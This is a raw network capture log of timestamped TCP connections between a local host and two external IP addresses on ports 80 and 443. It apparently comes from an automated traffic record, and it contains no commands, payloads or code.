Oct 7, 2024 18:00:49.315546036 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.315557003 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.315560102 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.315571070 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.315582037 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.315582991 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.315594912 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.315603971 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.315608025 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.315618038 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.315619946 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.315633059 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.315643072 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.315645933 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.315654993 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.315665960 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.315670967 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.315679073 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.315685987 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.315690994 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.315702915 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.315711975 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.315713882 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.315737963 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.315751076 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.316050053 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.316061020 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.316078901 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.316087961 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.316097975 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.316098928 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.316112995 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.316123962 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.316124916 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.316137075 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.316139936 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.316165924 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.316190004 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.316364050 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.316375971 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.316386938 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.316401005 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.316411018 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.316411972 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.316422939 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.316435099 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.316435099 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.316447020 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.316448927 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.316476107 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.316498995 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.316531897 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.316576958 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.316670895 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.316683054 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.316693068 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.316703081 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.316720963 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.316720963 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.316735983 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.316746950 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.316747904 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.316757917 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.316761017 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.316770077 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.316781044 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.316792011 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.316792965 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.316803932 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.316814899 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.316818953 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.316827059 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.316828966 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.316838026 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.316848993 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.316849947 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.316875935 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.316901922 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.317184925 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.317195892 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.317205906 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.317215919 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.317226887 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.317234039 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.317265034 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.333895922 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.333966017 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.333966970 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.333977938 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.334028959 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.334039927 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.334049940 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.334064007 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.334130049 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.334130049 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.334130049 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.334130049 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.334156990 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.334233046 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.334245920 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.334256887 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.334268093 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.334278107 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.334284067 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.334297895 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.334327936 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.334494114 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.334511042 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.334521055 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.334532022 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.334547043 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.334553957 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.334562063 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.334568024 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.334578037 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.334597111 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.334610939 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.339215994 CEST	443	49898	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:49.339744091 CEST	49898	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:49.339756012 CEST	443	49898	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:49.340224981 CEST	49898	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:49.340233088 CEST	443	49898	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:49.341805935 CEST	443	49896	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:49.342458963 CEST	443	49896	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:49.342515945 CEST	49896	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:49.342549086 CEST	49896	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:49.342556000 CEST	443	49896	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:49.342566013 CEST	49896	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:49.342571974 CEST	443	49896	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:49.345253944 CEST	49900	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:49.345274925 CEST	443	49900	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:49.345338106 CEST	49900	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:49.345467091 CEST	49900	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:49.345483065 CEST	443	49900	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:49.348624945 CEST	443	49897	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:49.348959923 CEST	49897	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:49.348982096 CEST	443	49897	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:49.349383116 CEST	49897	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:49.349387884 CEST	443	49897	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:49.399708033 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.399791002 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.399800062 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.399950027 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.400387049 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.400397062 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.400407076 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.400415897 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.400425911 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.400460005 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.400487900 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.400517941 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.400535107 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.400543928 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.400553942 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.400563955 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.400568962 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.400572062 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.400583029 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.400589943 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.400597095 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.400607109 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.400619984 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.400626898 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.400659084 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.400841951 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.400855064 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.400892973 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.400988102 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.400999069 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.401005983 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.401015997 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.401029110 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.401036978 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.401043892 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.401052952 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.401062965 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.401072025 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.401076078 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.401087046 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.401097059 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.401104927 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.401108027 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.401114941 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.401124001 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.401134014 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.401143074 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.401149988 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.401151896 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.401164055 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.401181936 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.401181936 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.401196957 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.401200056 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.401202917 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.401211977 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.401216984 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.401278973 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.402081966 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.402091026 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.402100086 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.402108908 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.402118921 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.402127981 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.402141094 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.402142048 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.402152061 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.402162075 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.402172089 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.402172089 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.402184010 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.402194023 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.402195930 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.402213097 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.402214050 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.402226925 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.402236938 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.402242899 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.402246952 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.402259111 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.402267933 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.402271986 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.402278900 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.402287960 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.402290106 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.402319908 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.402343988 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.435528994 CEST	443	49898	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:49.436058998 CEST	443	49898	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:49.436137915 CEST	49898	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:49.455741882 CEST	49898	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:49.455763102 CEST	443	49898	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:49.455775023 CEST	49898	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:49.455781937 CEST	443	49898	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:49.461852074 CEST	443	49897	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:49.461937904 CEST	443	49897	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:49.462027073 CEST	49897	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:49.462882042 CEST	49897	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:49.462887049 CEST	443	49897	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:49.462896109 CEST	49897	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:49.462899923 CEST	443	49897	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:49.465636015 CEST	49901	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:49.465672016 CEST	443	49901	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:49.466423035 CEST	49901	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:49.467510939 CEST	49901	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:49.467525005 CEST	443	49901	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:49.470113993 CEST	49902	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:49.470125914 CEST	443	49902	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:49.470172882 CEST	49902	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:49.471091032 CEST	49902	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:49.471098900 CEST	443	49902	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:49.493478060 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.499739885 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.702430964 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.702450037 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.702457905 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.702533007 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.702545881 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.702544928 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.702557087 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.702569962 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.702590942 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.702610970 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.702764034 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.702809095 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.702821016 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.702866077 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.702867031 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.702896118 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.702908993 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.702918053 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.702929020 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.702945948 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.702970982 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.703157902 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.703167915 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.703176975 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.703186989 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.703198910 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.703203917 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.703214884 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.703221083 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.703227043 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.703237057 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.703247070 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.703250885 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.703278065 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.703284025 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.703303099 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.703330040 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.703332901 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.703344107 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.703380108 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.703536034 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.703547001 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.703556061 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.703564882 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.703574896 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.703581095 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.703588963 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.703599930 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.703602076 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.703609943 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.703617096 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.703627110 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.703638077 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.703648090 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.703651905 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.703660965 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.703676939 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.703696966 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.703849077 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.703864098 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.703874111 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.703883886 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.703892946 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.703902006 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.703902006 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.703931093 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.703944921 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.703965902 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.703975916 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.703985929 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.703995943 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.704009056 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.704010010 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.704019070 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.704030991 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.704035044 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.704041958 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.704051971 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.704052925 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.704081059 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.704130888 CEST	49831	80	192.168.2.5	95.164.90.97
